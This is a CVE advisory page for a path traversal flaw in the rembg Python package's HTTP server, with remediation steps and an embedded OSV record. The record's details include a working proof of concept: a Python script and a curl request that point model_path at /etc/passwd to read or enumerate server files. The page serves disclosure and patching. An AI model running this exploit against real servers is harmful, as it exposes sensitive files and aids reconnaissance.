CVE-2026-40086: Rembg Path Traversal Vulnerability
MODERATECVE-2026-40086 is a MODERATE (CVSS 5.3) path traversal vulnerability (CWE-73: External Control of File Name or Path) affecting Rembg libraries in the PyPI ecosystem. The issue involves rembg has a path traversal via custom model loading. Remediation is available by upgrading affected packages to version 2.0.75.
CVE-2026-40086 at a Glance
Security Impact
CVSS: 5.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N).
How to Fix CVE-2026-40086
To remediate this vulnerability, upgrade all affected Rembg dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install rembg>=2.0.75
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show rembg
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-40086, inspect your installed packages using pip:
pip show rembg
Analyze the terminal output to locate any version of Rembg in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.75), your application is affected.
Note: The pip show rembg command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-73: External Control of File Name or Path, where the product allows user input to control or influence paths or file names that are used in filesystem operations. In Rembg, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-40086 Affected Rembg Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
rembg
|
PyPI |
< 2.0.75
|
2.0.75
|
References
Frequently Asked Questions
What is CVE-2026-40086?
Which Rembg versions are affected?
What version fixes CVE-2026-40086?
Is rembg affected?
What is the CVSS score of CVE-2026-40086?
What CWE is associated with CVE-2026-40086?
How can I check PyPI dependencies for CVE-2026-40086?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-3wqj-33cg-xc48",
"modified" : "2026-04-10T20:00:12Z",
"published" : "2026-04-10T20:00:12Z",
"aliases" : [ "CVE-2026-40086" ],
"summary" : "Rembg has a Path Traversal via Custom Model Loading",
"details" : "## Summary\n\nA **path traversal vulnerability** in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious `model_path` parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages.\n\n**CWE IDs:** CWE-22 (Path Traversal), CWE-73 (External Control of File Name or Path)\n\n---\n\n## Details\n\n### Vulnerable Code Flow\n\nThe vulnerability exists in how the HTTP server handles the `extras` JSON parameter for custom model types (`u2net_custom`, `dis_custom`, `ben_custom`).\n\n**1. Entry Point** - [`rembg/commands/s_command.py`](https://github.com/danielgatis/rembg/blob/main/rembg/commands/s_command.py#L191-L202)\n\n```python\ndef im_without_bg(content: bytes, commons: CommonQueryParams) -> Response:\n kwargs = {}\n if commons.extras:\n try:\n kwargs.update(json.loads(commons.extras)) # ❌ No validation\n except Exception:\n pass\n # ...\n session = new_session(commons.model, **kwargs) # Passes arbitrary kwargs\n```\n\nThe `extras` parameter is parsed as JSON and passed directly to `new_session()` without any validation.\n\n**2. Path Handling** - [`rembg/sessions/u2net_custom.py`](https://github.com/danielgatis/rembg/blob/main/rembg/sessions/u2net_custom.py#L79-L83)\n\n```python\n@classmethod\ndef download_models(cls, *args, **kwargs):\n model_path = kwargs.get(\"model_path\")\n if model_path is None:\n raise ValueError(\"model_path is required\")\n return os.path.abspath(os.path.expanduser(model_path)) # ❌ No path validation\n```\n\nThe `model_path` is returned with tilde expansion but no validation against path traversal.\n\n**3. File Read** - [`rembg/sessions/base.py`](https://github.com/danielgatis/rembg/blob/main/rembg/sessions/base.py#L34-L38)\n\n```python\nself.inner_session = ort.InferenceSession(\n str(self.__class__.download_models(*args, **kwargs)), # Reads file\n # ...\n)\n```\n\nThe path is passed to `onnxruntime.InferenceSession()` which attempts to read and parse the file.\n\n### Root Cause\n\nThe custom model feature was designed for **CLI usage** where users already have local filesystem access. However, this feature is also exposed via the **HTTP API** without any restrictions, creating a security boundary violation.\n\n---\n\n## PoC\n\n### Prerequisites\n\n- Python 3.10+\n- rembg installed with CLI support: `pip install \"rembg[cpu,cli]\"`\n\n### Step 1: Start the Vulnerable Server\n\nOpen a terminal and run:\n\n```bash\nrembg s --host 0.0.0.0 --port 7000\n```\n\nYou should see output like:\n```\nTo access the API documentation, go to http://localhost:7000/api\nTo access the UI, go to http://localhost:7000\n```\n\n### Step 2: Send the Exploit Request\n\nOpen a **second terminal** and run this Python script:\n\n```python\nimport requests\nimport json\nimport urllib.parse\nfrom io import BytesIO\n\n# Minimal valid 1x1 PNG image (required for the request)\nMINIMAL_PNG = bytes([\n 0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A,\n 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52,\n 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01,\n 0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x77, 0x53,\n 0xDE, 0x00, 0x00, 0x00, 0x0C, 0x49, 0x44, 0x41,\n 0x54, 0x08, 0xD7, 0x63, 0xF8, 0xFF, 0xFF, 0x3F,\n 0x00, 0x05, 0xFE, 0x02, 0xFE, 0xDC, 0xCC, 0x59,\n 0xE7, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E,\n 0x44, 0xAE, 0x42, 0x60, 0x82\n])\n\n# Target paths to test\ntest_paths = [\n \"/etc/passwd\", # System file (should exist)\n \"/nonexistent/file.txt\", # Non-existent file\n]\n\nfor path in test_paths:\n print(f\"\\n[*] Testing path: {path}\")\n \n # Build request - extras must be in URL query string\n extras = json.dumps({\"model_path\": path})\n url = f\"http://localhost:7000/api/remove?extras={urllib.parse.quote(extras)}\"\n \n response = requests.post(\n url,\n files={\"file\": (\"test.png\", BytesIO(MINIMAL_PNG), \"image/png\")},\n data={\"model\": \"u2net_custom\"},\n timeout=30\n )\n \n print(f\" Status: {response.status_code}\")\n print(f\" Response: {response.text[:100]}\")\n```\n\nOr use **curl** directly:\n\n```bash\n# Create a minimal PNG file\npython3 -c \"import sys; sys.stdout.buffer.write(bytes([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D,0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x08,0x02,0x00,0x00,0x00,0x90,0x77,0x53,0xDE,0x00,0x00,0x00,0x0C,0x49,0x44,0x41,0x54,0x08,0xD7,0x63,0xF8,0xFF,0xFF,0x3F,0x00,0x05,0xFE,0x02,0xFE,0xDC,0xCC,0x59,0xE7,0x00,0x00,0x00,0x00,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82]))\" > /tmp/test.png\n\n# Send exploit request targeting /etc/passwd\ncurl -X POST 'http://localhost:7000/api/remove?extras=%7B%22model_path%22%3A%22%2Fetc%2Fpasswd%22%7D' \\\n -F \"model=u2net_custom\" \\\n -F \"file=@/tmp/test.png\"\n```\n\n### Step 3: Verify in Server Logs\n\nGo back to the **first terminal** where the server is running. You will see error messages like:\n\n```\nonnxruntime.capi.onnxruntime_pybind11_state.InvalidProtobuf: \n[ONNXRuntimeError] : 7 : INVALID_PROTOBUF : Load model from /etc/passwd failed:Protobuf parsing failed.\n```\n\n```\nonnxruntime.capi.onnxruntime_pybind11_state.NoSuchFile: \n[ONNXRuntimeError] : 3 : NO_SUCHFILE : Load model from /nonexistent/file.txt failed. File doesn't exist\n```\n\n### Understanding the Results\n\n| Server Log Message | What It Proves |\n|-------------------|----------------|\n| `Load model from /etc/passwd failed:Protobuf parsing failed` | ✅ File **exists and was read** by onnxruntime |\n| `Load model from /etc/shadow failed:Permission denied` | ✅ File **exists** but process lacks permission |\n| `Load model from /nonexistent/... failed. File doesn't exist` | ✅ File **does not exist** - enables enumeration |\n\n**The key proof:** The message `\"Load model from /etc/passwd failed:Protobuf parsing failed\"` proves that:\n1. The attacker-controlled path was passed through without validation\n2. `onnxruntime.InferenceSession()` attempted to **read the file contents**\n3. The file was read but rejected because `/etc/passwd` is not a valid ONNX protobuf\n\n---\n\n## Impact\n\n### Who is Affected?\n\n- **All users** running `rembg s` (HTTP server mode)\n- **Cloud deployments** where rembg is exposed as an API service\n- **Docker containers** running rembg server\n\n### Attack Scenarios\n\n1. **Information Disclosure**: Attacker enumerates sensitive files (`/etc/passwd`, `.env`, config files)\n2. **Credential Discovery**: Attacker checks for common credential files\n3. **Infrastructure Mapping**: Attacker discovers installed software and system configuration\n4. **Denial of Service**: Attacker attempts to load very large files, exhausting memory\n\n### What is NOT Affected?\n\n- CLI usage (`rembg i`, `rembg p`) - users already have local file access\n- Library usage - developers control the input\n\n---\n\n## Recommended Fix\n\n### Option 1: Disable Custom Models for HTTP API (Recommended)\n\nRemove custom model types from the HTTP API session list:\n\n```python\n# In s_command.py, filter out custom models\nALLOWED_HTTP_MODELS = [\n name for name in sessions_names \n if not name.endswith('_custom')\n]\n\n# Use ALLOWED_HTTP_MODELS in the model parameter regex\nmodel: str = Query(\n regex=r\"(\" + \"|\".join(ALLOWED_HTTP_MODELS) + \")\",\n default=\"u2net\",\n)\n```\n\n### Option 2: Validate model_path Against Allowlist\n\nIf custom models must be supported via HTTP:\n\n```python\nimport os\n\nALLOWED_MODEL_DIRS = [\n os.path.expanduser(\"~/.u2net\"),\n \"/app/models\", # or your designated model directory\n]\n\ndef validate_model_path(path: str) -> str:\n \"\"\"Validate model path is within allowed directories.\"\"\"\n abs_path = os.path.abspath(os.path.expanduser(path))\n \n for allowed_dir in ALLOWED_MODEL_DIRS:\n allowed_abs = os.path.abspath(allowed_dir)\n if abs_path.startswith(allowed_abs + os.sep):\n return abs_path\n \n raise ValueError(f\"model_path must be within allowed directories\")\n```\n\n### Option 3: Document Security Considerations\n\nAt minimum, add security warnings to the documentation:\n\n```markdown\n⚠️ **Security Warning**: When running `rembg s` in production:\n- Do NOT expose the server directly to the internet\n- Use a reverse proxy with authentication\n- Consider disabling custom model support\n```\n\n---\n\n## References\n\n- **CWE-22**: [Improper Limitation of a Pathname to a Restricted Directory](https://cwe.mitre.org/data/definitions/22.html)\n- **CWE-73**: [External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html)\n- **OWASP Path Traversal**: [Path Traversal Attack](https://owasp.org/www-community/attacks/Path_Traversal)\n\n---",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "rembg"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.0.75"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/danielgatis/rembg/security/advisories/GHSA-3wqj-33cg-xc48"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40086"
}, {
"type" : "WEB",
"url" : "https://github.com/danielgatis/rembg/commit/7c76d3cdc5757ffbda6a76664b24cfbecdb80273"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/danielgatis/rembg"
}, {
"type" : "WEB",
"url" : "https://github.com/danielgatis/rembg/releases/tag/v2.0.75"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22", "CWE-73" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-10T20:00:12Z",
"nvd_published_at" : "2026-04-10T17:17:12Z"
}
}